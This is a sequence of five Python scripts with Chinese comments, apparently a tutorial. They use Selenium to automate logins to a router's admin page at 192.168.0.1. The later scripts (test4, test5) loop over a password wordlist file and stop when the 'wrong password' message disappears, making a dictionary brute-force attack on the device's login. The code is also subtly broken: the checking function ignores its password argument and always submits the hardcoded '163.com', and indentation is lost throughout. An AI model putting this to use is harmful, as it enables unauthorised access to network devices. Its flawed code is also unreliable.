test1.py
import selenium.webdriver
import time
from selenium.webdriver.common.keys import Keys
driver = selenium.webdriver.Chrome()
driver.get("http://192.168.0.1/")
time.sleep(5)
inputelem = driver.find_element_by_id("lgPwd")
inputelem.send_keys("163.com")
#第一次, 尝试submit, 不支持
#inputelem.submit()
#第二次, 尝试click, 不支持
#click = driver.find_element_by_id("loginSub")
#click.click()
#第三次, 使用回车
inputelem.send_keys(Keys.ENTER)
time.sleep(3)
print(driver.page_source)
print(driver.page_source.find("密码错误"))
test2.py
import selenium.webdriver
import time
from selenium.webdriver.common.keys import Keys
driver = selenium.webdriver.Chrome()
driver.get("http://192.168.0.1/")
time.sleep(3)
inputelem = driver.find_element_by_id("lgPwd")
inputelem.send_keys("163.com")
inputelem.send_keys(Keys.ENTER)
time.sleep(1)
if driver.page_source.find("密码错误") == -1:
print("登陆成功")
else:
print("登陆失败")
test3.py
import selenium.webdriver
import time
from selenium.webdriver.common.keys import Keys
def checkpassword(password):
driver = selenium.webdriver.Chrome()
driver.get("http://192.168.0.1/")
time.sleep(3)
inputelem = driver.find_element_by_id("lgPwd")
inputelem.send_keys("163.com")
inputelem.send_keys(Keys.ENTER)
time.sleep(1)
isOK=None
if driver.page_source.find("密码错误") == -1:
print("登陆成功")
isOK=True
else:
print("登陆失败")
isOK=False
driver.close()
return isOK
checkpassword("123123")
checkpassword("123123123123")
test4.py
import selenium.webdriver
import time
from selenium.webdriver.common.keys import Keys
def checkpassword(password):
driver = selenium.webdriver.Chrome()
driver.get("http://192.168.0.1/")
time.sleep(3)
inputelem = driver.find_element_by_id("lgPwd")
inputelem.send_keys("163.com")
inputelem.send_keys(Keys.ENTER)
time.sleep(1)
isOK=None
if driver.page_source.find("密码错误") == -1:
#print("登陆成功")
isOK=True
else:
#print("登陆失败")
isOK=False
driver.close()
return isOK
#passwordfilepath=r"Z:\F\test\test.txt"
passwordfilepath="test.txt"
#test.txt文件内容
#123 # 456
#qqqqq # wwww
#eeee # fffff
passfile=open(passwordfilepath, "rb")
while True:
line=passfile.readline()
if not line:
break
line=line.decode("utf-8", "ignore")
linelist=line.split(" # ")
password=linelist[0]
isok=checkpassword(password)
print(password, isok)
if isok:
break
passfile.close()
test5.py
import selenium.webdriver
import time
from selenium.webdriver.common.keys import Keys
def checkpassword(driver, password):
try:
driver.refresh()
driver.get("http://192.168.0.1/")
driver.implicitly_wait(10)
inputelem = driver.find_element_by_id("lgPwd")
inputelem.send_keys("163.com")
inputelem.send_keys(Keys.ENTER)
time.sleep(1)
isOK=None
if driver.page_source.find("密码错误") == -1:
#print("登陆成功")
isOK=True
else:
#print("登陆失败")
isOK=False
return isOK
except:
driver.close()
driver = selenium.webdriver.Chrome()
driver.get("http://192.168.0.1/")
checkpassword(driver, password)
driver = selenium.webdriver.Chrome()
driver.get("http://192.168.0.1/")
#passwordfilepath=r"Z:\F\test\test.txt"
passwordfilepath="test.txt"
#test.txt文件内容
#123 # 456
#qqqqq # wwww
#eeee # fffff
passfile=open(passwordfilepath, "rb")
while True:
line=passfile.readline()
if not line:
break
line=line.decode("utf-8", "ignore")
linelist=line.split(" # ")
password=linelist[0]
driver.delete_all_cookies()
isok=checkpassword(driver, password)
print(password, isok)
if isok:
break
passfile.close()
driver.close()